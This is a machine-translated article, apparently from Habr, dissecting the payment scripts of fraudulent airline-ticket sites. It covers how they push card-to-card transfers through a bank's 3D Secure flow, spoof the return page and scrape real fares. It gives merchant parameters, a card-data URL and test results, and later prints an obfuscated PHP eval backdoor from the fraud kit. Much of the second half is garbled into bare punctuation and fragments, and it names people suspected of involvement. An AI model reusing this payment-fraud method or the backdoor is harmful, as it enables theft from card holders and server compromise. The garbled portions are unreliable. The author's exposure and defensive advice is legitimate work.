Je ne comprends pas complètement à quel moment précis l'adresse de retour est remplacée, mais cela fonctionne. À ce moment, lorsque le navigateur affiche la page https de Sberbank avec une demande de saisie du code 3D Secure, si vous regardez le code HTML source de la page dans le navigateur, il n'y a d'adresse de retour vers aucun site. Le code HTML de cette page a une longueur de plus de 400 lignes et est complètement différent du code HTML de la page de réponse de Sberbank présenté ci-dessus, qui a été capturé en écrivant les variables $ page (ligne 166) et $ pp (ligne 174) sur le disque.

Si vous entrez le mauvais code 3D Secure, Sberbank sur sa page affiche un message indiquant que le code est incorrect et envoie un autre SMS. Dès que le bon code est entré, il est redirigé vers le site de paiement ou vers le site de remplacement. Autrement dit, la redirection vers le site de paiement lui-même implique que depuis Sberbank toutes les procédures nécessaires ont été accomplies. Sberbank sert ici d'exemple pour les tests. Le virement peut également être effectué via une autre banque.



Du côté de l '«acheteur de billets», cela ressemble à ceci. L'acheteur sur un mode de paiement pré-établi entre son numéro de carte. Après cela, la page de confirmation du code 3D Secure s'affiche presque immédiatement et un SMS avec un code de confirmation arrive. La page 3D Secure du navigateur s'affiche sur le site Internet de la banque de l'émetteur de la carte de l'acheteur à l'aide du protocole HTTPS. La page avec le formulaire de saisie du numéro de carte peut sembler suspecte, mais la confirmation de 3D Secure sur le site Internet de votre banque ne suscite aucun doute ni suspicion.

Soit dit en passant, faites attention à la signature «ticket pay» dans la ligne «Description» sur la page 3D Secure de Sberbank. Cette signature est définie dans le script payp2p.php. Dans de futurs exemples, nous essaierons de le changer.

Revenons aux tests.

J'ai entré le code de SMS sur la page Sberbank et après avoir cliqué sur le bouton «Envoyer», j'ai reçu un avertissement que les données seraient envoyées via une connexion non sécurisée.



Après avoir confirmé que j'étais d'accord avec l'envoi de données via une connexion non sécurisée, j'ai été redirigé vers la



page /sus.php?cd=… . Il s'agit de la page de retour. L'adresse de retour est définie dans le script. Dans ce cas, la page est introuvable. Mais la raison est claire - la page de retour n'a pas été préparée à l'avance.

Bien que l'objectif ait été presque atteint, l' argent d'une carte à l'autre ne passait vraiment pas . Il n'y a pas eu de sms supplémentaires indiquant que le paiement a été refusé, etc.

J'ai décidé que la raison de l'échec lors de la première tentative était que le site local (localhost) fonctionnait sur une connexion http non sécurisée et le site Sberbank sur un protocole http sécurisé. Http et https ne sont pas très amicaux l'un avec l'autre. Cela explique d'ailleurs pourquoi les sites frauduleux décrits dans la première partie de la publication ont utilisé une connexion https sécurisée, bien qu'avec le certificat le plus simple.

Pour vérifier cette hypothèse, j'ai dû configurer le protocole https sur le site local. Pour ce faire, un domaine local p2p.localhost et un certificat auto-signé ont été créés. En conséquence, la nouvelle adresse avec le script de test a commencé à ressembler à ceci: De

https://p2p.localhost/payp2p.php

plus, l'adresse de la page à laquelle le retour doit être effectué après avoir entré le code 3D Secure a été modifiée dans le script. La page de retour elle-même a également été préparée.

Nous essayons à nouveau d'effectuer un paiement déjà avec un site local qui fonctionne via le protocole https.

Lorsque vous vous connectez pour la première fois, le navigateur ne jure que par la connexion sécurisée mal configurée. Cela est dû au fait que nous avons un certificat auto-signé.



La source du certificat étant connue, nous l'ajoutons aux exceptions.



C’est tout. Maintenant, la connexion est établie via https et lors du passage du site Web de la Sberbank, les avertissements disparaissent.



Après avoir saisi le code 3D Secure, le retour à la page spécialement préparée s'effectue correctement.



Tout fonctionne bien sauf que l'argent ne fonctionne pas vraiment . En conséquence, j'ai dû tester et rechercher pendant plusieurs jours, quelle pourrait être la raison.

Je n'avais qu'une partie des fichiers utilisés sur l'un des sites de billets d'avion frauduleux. Parmi les fichiers qui m'ont été envoyés, il y avait un fichier payment.php. Ceci est similaire au script analysé ci-dessus. A en juger par le code, il a probablement été créé non pas pour tromper les visiteurs sur le "site de combat", mais pour tester par un programmeur-développeur la possibilité de transférer d'une carte à une autre via le service 3ds.payment.ru. C'est peu probable, mais théoriquement dans les premières versions de sites frauduleux, il pourrait être utilisé non seulement pour des tests.

J'ai essayé d'effectuer un paiement en utilisant le script alternatif payment.php et le paiement a réussi la première fois.La seule chose que la confirmation du paiement a été affichée sur le site Web 3ds.payment.ru. J'ai décidé que puisque ce script fonctionne, il sera possible de trouver la raison pour laquelle le premier script de la description (payp2p.php) ne fonctionne pas.



Code de script complet payment.php sous le spoiler

.

Description des différences entre les scripts payment.php et payp2p.php
. .

payp2p.php POST . payment.php GET . , , :

https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...

, « ».

Payment.php payp2p.php MySQL. . .

Payment.php . , . , payp2p.php , , payment.php . TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 ( TRTYPE . payp2p.php ).

— payment.php https://3ds.payment.ru/cgi-bin/is_3DS. {"IS_ACTIVE":"Y"} , ( 3D Secure).

. payment.php . , 3ds.payment.ru.

… , Firefox, «» payment.php («Firefox/3.0.3»), , , , . , 3.5 Firefox 2009 , 4 Firefox 2011, payp2p.php , «Firefox/38.0», 2016 — Firefox 49.

Ensuite, il y a eu des tentatives pour corriger le script payp2p.php qui ne fonctionnait pas pour une raison quelconque, pour le corriger, en prenant le script de travail comme base. Diverses options ont été essayées. Tous les morceaux de code qui pourraient affecter le travail à leur tour ont été transférés du script de travail vers le script non fonctionnel. Entre autres choses, il y a eu une tentative de connexion intermédiaire supplémentaire à https://3ds.payment.ru/cgi-bin/is_3DS; changer, allumer et éteindre les options cURL, etc. Rien n'a aidé, la fleur de pierre n'est pas sortie.

Plus tard, lors des tests, il a été décidé de désactiver les redirections au stade final dans payp2p.php. Après cela, il est devenu possible de lire le message d'erreur de Promsvyazbank. Capture d'écran de l'erreur ci-dessous. Dans le navigateur après une tentative infructueuse d'effectuer un paiement, une autre page s'affiche, mais si vous cliquez sur «Retour» une ou plusieurs fois, vous pouvez voir cette page.


:

, .

: / (/)
, , /

Il existe certaines restrictions sur le nombre de paiements d'une carte par jour sur le site Web de Promsvyazyazbank, etc. Bien que je n'aie pas dépassé les limites du nombre de paiements réels, il est possible que les paiements n'aient pas été effectués à un moment donné, en raison du grand nombre de mes tentatives. (Pour capturer les valeurs des variables pendant le débogage, j'ai commencé le processus de paiement plusieurs fois, mais je ne l'ai pas terminé) Je ne connais pas la raison exacte de ce message. Chaque tentative de payer ORDER_NUM et TIMESTAMP en utilise une nouvelle. Ils n'auraient pas dû influencer l'apparition d'une telle erreur. Bien que la carte que j'ai utilisée pour le paiement, un paiement réussi soit passé par un script alternatif de payment.php, peut-être que la carte de l'expéditeur ou du destinataire est entrée dans la liste d'arrêt.

Le script payp2p.php ressemblait déjà un peu à son état d'origine. J'ai moi-même commencé à confondre ce que j'y ai remplacé et ce qui ne l'a pas été. Par conséquent, je l'ai renvoyé à sa forme d'origine, sauf que sur les dernières lignes, la redirection de la redirection vers la page de paiement réussie a été désactivée. Les numéros de carte de l'expéditeur et du destinataire pour les tentatives suivantes ont été utilisés à nouveau.

Enfin, avec l'aide de payp2p.php, il s'est avéré que le paiement était réussi.



Faites attention à la signature dans la ligne "Description".

Après avoir saisi le code de confirmation 3D Secure, le retour s'effectue sur la page Promsvyazbak:



SMS reçu. À gauche de la banque de l'expéditeur. À droite de la banque du bénéficiaire.



Sberbank, pour une raison quelconque, indiqué dans l'heure SMS GMT. Auparavant, je ne l'avais pas remarqué dans les messages de cette banque.

Avec la substitution de la page de retour désactivée, répétez le paiement réussi en utilisant le script payp2.php s'est avéré plusieurs fois.

J'ai essayé de payer avec d'autres cartes. Chaque banque émet son formulaire 3D Secure. Mais cela ne change pas l'essence.





Veuillez noter que toutes les banques n'incluent pas de «description supplémentaire» dans leur formulaire de confirmation. Dans notre exemple, «ticket pay».

Il n'est pas nécessaire de s'adapter à la page de chaque banque. Bien que les formes soient différentes, le mécanisme de leur substitution est le même. Tout formulaire après paiement contient un lien avec l'adresse de la page sur laquelle vous souhaitez revenir. Les banques elles-mêmes, qui fournissent des formulaires de vérification 3D Secure, ne seront probablement pas renvoyées sur le «site de gauche». Certes, il existe certaines règles et les banques du formulaire de vérification 3DS devraient au moins revenir au même domaine à partir duquel la demande de paiement a été reçue. (Dans notre cas, à 3ds.payment.ru). La banque vérifiant le code 3D Secure, dans le cas où le mot de passe est saisi correctement, dans le code html de la page indique l'adresse à laquelle il faut retourner, mais elle ne peut plus contrôler s'il devait revenir sur cette page.

À la suite de toutes les expériences, il a été possible d'obtenir le script payp2p.php pour payer via le service de transfert de carte à carte de Promsvyazbank 3ds.payment.ru. En même temps, j'ai dû désactiver la substitution de l'adresse de retour sur les dernières lignes du script. Lorsque vous activez l'usurpation d'adresse de la page de retour, comme c'était le cas dans le script d'origine, à l'heure actuelle, l'argent ne passe vraiment pas. La page de vérification 3D Secure s'affiche. Un SMS avec "mot de passe" est envoyé; le formulaire de vérification ne passe pas à l'étape suivante lors de la saisie du mauvais mot de passe; après avoir entré le "mot de passe" correct, redirige vers une fausse page, mais l'argent ne passe pas.

La falsification de l'adresse de la page de retour pour un paiement réussi est une partie très importante pour les sites frauduleux. Si l '«acheteur de billets» ne soupçonne pas qu'il a été trompé, il peut payer non pas un, mais plusieurs achats de billets et après cela pendant longtemps (jours et semaines), ne pas prendre de mesures actives pour annuler le paiement, etc. Si l'acheteur après avoir "payé les billets d'avion" reçoit une confirmation du transfert de carte à carte, il est fort probable qu'il n'effectuera plus les paiements suivants, il contactera sa banque et, éventuellement, la police beaucoup plus rapidement. Cela signifie que les flux de trésorerie sur les sites frauduleux sont réduits, la probabilité d'annuler les paiements passés augmente, les organismes d'application de la loi et les employés d'hébergement commencent à agir plus tôt, et la probabilité de ne pas avoir le temps de retirer des fonds volés dans un endroit sûr augmente.

Le fait que ce script ait été utilisé sur un site frauduleux de combat, je n'en doute pas. J'ai des raisons de croire que cela a fonctionné sous la forme sous laquelle il m'a été fourni. Actuellement, cela fonctionne de manière limitée (pas de redirection).

Environ trois semaines après la publication de la première partie de la publication, qui mentionnait les fraudeurs utilisant le service de transfert de carte à carte de Promsvyazbank, cette banque a apporté quelques modifications à son service, ce que je considère important. Plus tôt, lors du paiement via le site Web de Promsvyazbank, les payeurs ont reçu des SMS incompréhensibles avec le texte «P2P PSBANK», mais maintenant ils ont commencé à recevoir des SMS avec le texte «CARD2CARD PSBANK.RU». Même ainsi, à première vue, un léger changement dans le décryptage de la finalité du paiement suffit à certaines victimes potentielles de fraudeurs pour annuler le paiement au stade de la confirmation. Je pense que ce n'est pas une coïncidence, et les changements ont été apportés précisément à la suite de la publication de l'article sur GeekTimes.

Il est probable qu'après la publication de la première partie de l'article, en plus de modifier le texte de confirmation dans SMS, des ajustements supplémentaires pourraient être apportés aux algorithmes du service de transfert de carte à carte de Promsvyazbank. Je ne peux pas dire 100%, mais mon avis est qu'avant le service de Promsvyazbank 3ds.payment.ru avec une forte probabilité n'a pas vérifié le retour des utilisateurs sur leur site après avoir réussi à entrer le code 3D Secure sur les sites des banques émettant des cartes de paiement. Par conséquent, les paiements ont été effectués même lorsque des scripts frauduleux ont changé la page de retour.

La banque, mentionnée à plusieurs reprises dans cette publication, a eu de la chance avec la publicité gratuite. Je pense qu'en réalité, il existe encore un nombre suffisant de ces banques. C'est juste que c'est plus heureux car il a été choisi d'abord pour une utilisation sur des sites frauduleux, puis pour l'analyse dans cet article. Comme on dit, il n'y a pas de patients en bonne santé, il y a des patients mal examinés.

Lors de la rédaction de cet article, la tâche de créer un script frauduleux de combat n'en valait pas la peine. La tâche était d'essayer de comprendre comment cela fonctionnait ou fonctionnait afin de comprendre les raisons pour lesquelles les «acheteurs de billets d'avion» pouvaient être trompés, et d'en tirer des conclusions.

Cet article soulève de nombreuses questions, mais ne fournit pas toutes les réponses. Je suis sûr que parmi les lecteurs, il y aura un nombre suffisant d'utilisateurs avancés qui pourront commenter plus précisément le tableau clinique et poser un diagnostic. Pour ma part, j'ai essayé de présenter le témoignage le plus complètement possible ...

Une partie de la publication avec l'analyse du script de paiement est terminée. D'autres bonus pour ceux qui ont pu lire à cet endroit.


D'où viennent les billets d'avion bon marché sur les sites frauduleux?

Dans la partie précédente de la publication, par des signes indirects, il a été montré que des informations sur la disponibilité des places et des prix sont obtenues par programmation sur un site honnête, modifiées et diffusées à l'utilisateur.

Exemple d'informations sur la disponibilité et les prix sur un site frauduleux


Nous avons maintenant la possibilité de regarder dans les coulisses et de voir comment cela est implémenté dans le code du programme.

Voici l'endroit dans le code du site frauduleux dans lequel nous voyons d'où proviennent les photos et les prix des vols des sites frauduleux.



Comme prévu dans cette série de sites frauduleux, les informations sur les lieux disponibles sont prises sur un site honnête www.aviacassa.ru. Étant donné que le nombre de compagnies aériennes et de vols est important, il est très difficile de télécharger à l'avance toutes les images et les icônes d'un tel problème, les liens vers ces images sont laissés directement sur le site d'origine.

La remise est déduite du prix d'origine reçu pour les billets d'avion. Comme indiqué précédemment, le propriétaire d'un site frauduleux peut fixer arbitrairement le montant de la remise. Le montant de la remise est stocké dans le fichier aviacfg.php.

Un morceau de code plus complet chargé d'obtenir des informations sur la disponibilité des sièges, de préparer des liens vers des images et de modifier les prix sous le spoiler.

Analyseur de prix - une partie plus complète du code


Nous ne démonterons pas cette pièce ligne par ligne, car ce n'est pas le code lui-même qui est important, mais l'idée de savoir comment et d'où proviennent les données réelles des billets d'avion pour les sites frauduleux.

L'ancien analyseur utilisait un autre site pour obtenir des données:



Astuce pour la billetterie (www.aviacassa.ru)- vous devez fermer la possibilité de liens vers des fichiers de domaine à partir d'un référent externe (site référent). Cette opportunité peut être fermée à tout le monde sans exception, ou vous pouvez faire des exceptions uniquement pour les partenaires de confiance. Le serveur Web NGINX, qui utilise aviacassa, rend cela facile à faire. La même recommandation pour tous les sites similaires pouvant être utilisés comme «donneurs d'informations».

Si des sites frauduleux ne peuvent pas créer de lien direct vers des images sur des sites tels que les guichets, cela compliquera leur vie. Le nombre de logos et d'images de différentes compagnies aériennes n'est pas connu à l'avance. Même si vous essayez de télécharger les images à l'avance, vous pouvez ignorer quelque chose et le site frauduleux sera laid. Ces sites seront obligés de télécharger toutes les images localement sur le serveur à chaque demande, ou au moins de vérifier si une telle image a déjà été téléchargée dans le "cache" ou non. Cela augmente la charge sur le serveur frauduleux et ralentit le rendu des pages. En outre, la suppression de la possibilité de créer un lien direct vers des images en même temps rendra inopérants tous les sites frauduleux actuels qui utilisent les informations de la billetterie.

Bien sûr, au fil du temps, les développeurs feront des correctifs. Mais comme les sites frauduleux ne sont pas gérés de manière centralisée et que diverses personnes ne disposent pas de mises à jour logicielles automatiques, chaque propriétaire d'un site frauduleux devra rechercher une opportunité de mise à niveau. Quelqu'un trouvera le code mis à jour, mais personne ne le trouvera et le site cessera de fonctionner.

En outre, la billetterie peut inclure un journal distinct pour ces images, dans lequel les enregistrements de tous les référents externes (sites référents) seront enregistrés. Et en quelques jours dans ce journal, vous obtiendrez une liste de tous les sites frauduleux actifs. C'est très pratique - au lieu d'essayer de trouver individuellement chaque site, vous pouvez leur demander de s'inscrire indépendamment dans la liste (fichier journal).

Et s'il y a des administrateurs amusants à la billetterie, vous pouvez faire une blague ...
- NGINX , , «» , URL , . . — « » , -, , , , .

Quelqu'un peut dire que la publication de tels articles sert d'outil de formation aux escrocs et poser une question, pourquoi l'ai-je affiché ici? Je réponds. S'il existe un moyen de voler de l'argent, basé sur l'utilisation de logiciels vulnérables ou insuffisamment protégés, dont au moins quelques personnes sont au courant et que leur objectif est de gagner de l'argent dessus, alors une tentative de cacher ces informations et de prétendre qu'il n'y a pas de problème ne mène qu'à conséquences encore pires. Les fraudeurs utilisent ces méthodes encore plus activement, tandis que les banques sont heureuses car elles paient régulièrement la commission pour les services et leur volent de l'argent. Pourquoi les banques doivent-elles changer quelque chose, si tout va si bien? De temps en temps, seuls certains internautes sont trompés et perdent de l'argent sur des sites frauduleux. Mais qui s'en soucie?

Mon opinion est que si une opportunité «délicate» de voler de l'argent devient connue d'un très grand nombre de personnes, il devient avec le temps beaucoup plus difficile pour les fraudeurs de l'utiliser, et il devient impossible pour les organisations qui l'utilisent d'ignorer les problèmes.

Le script payp2.php et un certain nombre de fichiers utilisés sur une récente série de sites de vente frauduleux de compagnies aériennes m'ont été envoyés par l'utilisateur freezstorm . Je ne sais pas où il l'a obtenu - posez-lui directement toutes les questions à ce sujet.

Mais je peux immédiatement dire que, comme il s’est avéré plus tard, il n’est pas difficile de trouver l’ensemble complet des codes source pour les sites frauduleux vendant des billets d’avion. Recherche de "faux vols". Les deux principaux moteurs de recherche fournissent des liens sur la première page. Un ensemble complet de codes sources ne coûte que 25 à 30 tonnes de roubles. Après que ce sujet a cessé de fonctionner, les codes sources non fonctionnels, qui, selon le vendeur, sont «faciles à terminer», ont commencé à coûter 10tr. Récemment, à en juger par les messages sur les forums, la version 2.0 serait à nouveau en vente au prix de 25tr.

Vous trouverez ci-dessous un exemple de spoiler de vente gratuite du code source d'un site Web frauduleux pour la vente de billets d'avion sur l'un des forums.

Capture d'écran du forum. (Neat, très longues photos)

. (2/5)


. (3/5)


. (4/5)


. (5/5)



Sur le forum, qui est illustré dans la capture d'écran, les codes de sites Web frauduleux similaires, les informations de carte de crédit, les données de passeport, les informations personnelles des bases de données d'État sont ouvertement vendus et achetés, il est proposé de fabriquer de faux passeports, permis de conduire, etc. Ce n'est qu'une courte liste par exemple. C'est-à-dire à de rares exceptions près, le crime est continu. Dans le même temps, l'administration du forum agit en tant que garant entre acheteurs et vendeurs. Il existe plusieurs forums comme celui-ci. Ils travaillent tous librement pendant des années. Tous sont parfaitement indexés par les moteurs de recherche (Yandex, Google, etc.). Je ne cite pas l'adresse d'un forum spécifique. Ils sont très faciles à trouver.

Étant donné que derrière chaque site Web frauduleux pour la vente de billets d'avion, il y a une personne distincte qui a acheté le code source du site Web à peu de frais, dans chaque cas, vous pouvez trouver la personne responsable et cela doit être fait. Tous les administrateurs d'un tel faux site ne sont pas des super professionnels dont les traces sont introuvables. Je suis sûr que parmi ces administrateurs, il y en a suffisamment qui ont hérité et, s'ils ont l'autorité appropriée, peuvent être calculés. Mais, à mon avis, au lieu d'essayer de traiter chaque faux site individuellement, vous devriez faire attention aux sites où les sources de ces faux sites sont librement distribuées.

Afin de porter un coup fatal aux sites frauduleux vendant de faux billets d'avion, vous n'en avez pas tellement besoin. Si tout le monde fait un peu, cela compliquera grandement la vie des fraudeurs et pourrait poser la question de l'inefficacité de la conduite d'une telle entreprise. Il faut un peu d'attention de la part des moteurs de recherche - pour empêcher ces sites de faire de la publicité. Il est irréaliste de classer ces sites dans les meilleurs résultats sans publicité. En outre, les moteurs de recherche devraient exclure les sites qui achètent et vendent des programmes criminels. Il faut un peu d'attention aux banques pour garder une trace de leurs services de paiement afin que les fraudeurs ne puissent pas facilement les utiliser. Besoin d'un peu d'attention de la part des hébergeurs. Vous avez besoin d'un peu d'attention de la part des systèmes de paiement - pour commencer, n'autorisez pas les paiements sans vérifier 3D Secure (comme indiqué dans la première partie de la publication,c'est encore possible). Besoin d'une certaine attention de l'application des lois. Au lieu d'enquêter sur chaque cas de vol d'argent, il est plus efficace d'agir à l'avance - traiter le nid où les escrocs communiquent (analyser, par exemple, ces forums très fantômes). Et bien sûr, vous avez besoin d'un peu d'attention de la part des acheteurs potentiels de billets d'avion eux-mêmes.

Ils disent que les réparations ne peuvent pas être terminées et qu'elles peuvent seulement être arrêtées. Cette publication est un cas similaire. Par conséquent, bien que beaucoup plus puisse être écrit, je m'arrêterai ici. Merci de votre attention. Je serai heureux de vos commentaires.

PS A propos de Jackie Chan ... Vous ne pouvez pas lire
, , , , .

, , , , - . . .

fon.png. , , . (merch) . .

. , - , . . .


VISA Mastercard (logo_standart_ru.png):



. , .

parser.php


.

, , , - . , -, «» . (config.php) , . . . . .



'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

.


, , , «» .

email
, EMAIL. :


3ds.payment.ru Lakhtin@psbank.ru.

, ? , - . , , Mastercard 3DS.

https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf

Mastercard


email . - . - . .. - , , , - .

, email ? . , -, . , . . , , - - , , .

. , - - email . , , . , . , , , . - , , , email -, - . (, , .. ). , .. . . , -, . , , , , . . , -, , . , , , , .

? , . email , , . . - , - , .

?
, , «» 3ds.payment.ru, . , LaravelRUS , Curl 3ds.payment.ru.

, . ? ? ?
, , .







. . - .



:

» https://gitter.im/LaravelRUS/chat/archives/2016/05/06 — . .
» http://gitchat.org/developers/Valtas
» https://github.com/Valtas — Github
» https://www.fl.ru/tu/57770/parser-internet-magazina.html - .

, , — .

, . , . , .

http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/

336 . , . .



? , . . , . , , , .. , . , , . , - « » . ( ). - 5-10-20 .. , , , . (), , , .

. ?
. . , . , . «. ». , . , . . . .

, , . , , -, . , . , , .

, . , . , .

, , . - - . . , .



80 , . , . , . :



56 , « », , .
, , « », , .

:





- -. , . , . . , . , , , .

Source: https://habr.com/ru/post/fr398313/


All Articles